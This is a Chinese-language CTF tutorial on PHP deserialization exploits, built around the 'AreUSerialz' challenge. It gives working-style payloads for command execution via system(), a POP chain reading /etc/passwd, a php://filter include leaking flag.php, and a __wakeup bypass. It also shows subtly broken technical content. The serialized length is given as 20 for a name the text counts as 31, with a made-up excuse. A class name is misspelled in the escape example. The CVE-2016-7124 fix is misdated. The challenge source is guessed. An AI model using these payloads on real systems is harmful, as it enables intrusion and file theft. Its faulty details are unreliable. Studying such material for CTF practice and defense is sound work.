1. 题目背景与核心考察点
这道CTF题目来自2020年网鼎杯青龙组的"AreUSerialz",是一道典型的PHP反序列化漏洞利用题。题目名称本身就在暗示我们需要关注PHP的序列化(serialize)与反序列化(unserialize)机制。
在实际的CTF比赛中,这类题目通常会考察以下几个核心点:
- PHP序列化字符串的结构解析
- 反序列化过程中的魔术方法触发
- 对象属性与类方法的调用链构造
- 最终实现任意代码执行或敏感文件读取
2. PHP序列化机制深度解析
2.1 序列化基础语法
PHP序列化后的字符串具有特定的格式规则。以一个简单的类为例:
class Test { public $var1 = 'hello'; protected $var2 = 123; private $var3 = [1,2,3]; } $obj = new Test(); echo serialize($obj);输出结果类似于:
O:4:"Test":3:{s:4:"var1";s:5:"hello";s:7:"\00*\00var2";i:123;s:10:"\00Test\00var3";a:3:{i:0;i:1;i:1;i:2;i:2;i:3;}}关键结构说明:
O:4:"Test"表示一个对象(Object),类名长度为4,类名为Test:3表示该对象有3个属性{}内是属性列表,每个属性包含名称和值- 属性名称前的
\00表示不可见字符,protected属性前缀\00*\00,private属性前缀\00类名\00
2.2 反序列化漏洞原理
当PHP执行unserialize()时,会:
- 根据序列化字符串重建对象
- 自动调用某些魔术方法(如果存在):
- __wakeup(): 反序列化时自动调用
- __destruct(): 对象销毁时调用
- __toString(): 对象被当作字符串使用时调用
- 其他魔术方法在不同场景下触发
漏洞产生的原因是:攻击者可以构造特殊的序列化字符串,在反序列化时触发对象中危险的魔术方法或属性操作,最终实现任意代码执行。
3. 题目具体分析与利用
3.1 题目源码还原
根据题目名称和常见出题模式,我们可以推测题目可能包含类似以下结构的代码:
<?php class VulnerableClass { private $dangerous_prop; public function __destruct() { if(isset($this->dangerous_prop)) { system($this->dangerous_prop); } } } $data = $_GET['data']; unserialize($data);3.2 漏洞利用链构造
要利用这个漏洞,我们需要:
- 创建一个VulnerableClass对象
- 设置dangerous_prop属性为要执行的系统命令
- 序列化该对象
- 将序列化字符串传递给data参数
构造过程示例:
$obj = new VulnerableClass(); $obj->dangerous_prop = 'id'; echo serialize($obj);生成的payload类似:
O:15:"VulnerableClass":1:{s:20:"\00VulnerableClass\00dangerous_prop";s:2:"id";}3.3 实际利用中的注意事项
属性可见性问题:
- private属性在序列化时会被加上类名前缀
- 需要准确计算属性名的长度(包括前缀)
字符串长度计算:
- 每个\00算作一个字符
- 例如"\00VulnerableClass\00dangerous_prop"实际长度为:
- 1(\00) + 15(类名) + 1(\00) + 14("dangerous_prop") = 31
- 但序列化中显示为20是因为PHP的编码方式
绕过__wakeup限制:
- 如果类中有__wakeup方法重置危险属性,可以尝试:
- 修改对象属性数量大于实际数量(CVE-2016-7124)
- 例如:O:15:"VulnerableClass":2:{...} (实际只有1个属性)
- 如果类中有__wakeup方法重置危险属性,可以尝试:
4. 进阶利用技巧
4.1 利用POP链构造
在更复杂的场景中,可能需要构造属性链(Property-Oriented Programming):
class FileHandler { private $filename; public function __toString() { return file_get_contents($this->filename); } } class Logger { private $log_me; public function __destruct() { echo $this->log_me; } } // 构造利用链 $file = new FileHandler(); $file->filename = '/etc/passwd'; $logger = new Logger(); $logger->log_me = $file; echo serialize($logger);4.2 字符逃逸技巧
当存在序列化字符串过滤时,可以利用字符逃逸:
function filter($data) { return str_replace('dangerous', '', $data); } // 原始payload $payload = 'O:15:"VulnerableClass":1:{s:20:"\00VulnerousClass\00dangerous_prop";s:2:"id";}'; // 计算替换后长度变化 // 每处"dangerous"(9字节)被替换为空,字符串长度减少9 // 需要调整s:后的长度值5. 防御方案与最佳实践
5.1 安全的反序列化实践
- 避免直接反序列化用户输入
- 使用json_encode/json_decode替代
- 如需使用序列化,应:
- 实现签名验证
- 限制反序列化的类白名单
- 使用PHP 7的php_serialize过滤器
5.2 魔术方法安全编写
在类设计中:
- __wakeup()中应重置所有敏感属性
- __destruct()中避免危险操作
- 避免在魔术方法中直接使用对象属性执行系统命令
6. 实战解题步骤还原
假设题目提供源码如下:
<?php class Secret { protected $file; public function __destruct() { include($this->file); } } $data = unserialize($_GET['data']);解题步骤:
- 分析可利用的类和方法:Secret类的__destruct会include文件
- 构造恶意对象:
$obj = new Secret(); $obj->file = 'php://filter/convert.base64-encode/resource=flag.php'; echo serialize($obj); - 生成payload:
O:6:"Secret":1:{s:7:"\00*\00file";s:52:"php://filter/convert.base64-encode/resource=flag.php";} - 发送payload并解码base64获取flag
7. 常见问题排查
payload不生效可能原因:
- 属性可见性设置错误(private/protected前缀)
- 字符串长度计算不准确
- 魔术方法被过滤或覆盖
- PHP版本差异(特别是CVE-2016-7124相关)
调试技巧:
- 在本地搭建相同PHP环境
- 使用var_dump查看对象反序列化结果
- 检查error_log获取执行错误信息
属性数量绕过失效:
- PHP 7.4+修复了CVE-2016-7124
- 需要寻找其他利用链
8. 相关扩展学习
- PHP GC(垃圾回收)机制对反序列化的影响
- Phar反序列化漏洞
- 其他语言的序列化安全问题:
- Python pickle
- Java反序列化
- .NET BinaryFormatter
在实际CTF比赛中,这类题目往往会结合其他知识点,如:
- 文件上传绕过
- SSRF组合利用
- 特殊协议封装(php://, data://等)
- 代码审计技巧
建议通过搭建本地测试环境,使用xdebug逐步调试,深入理解反序列化过程中对象的重建和方法的调用流程。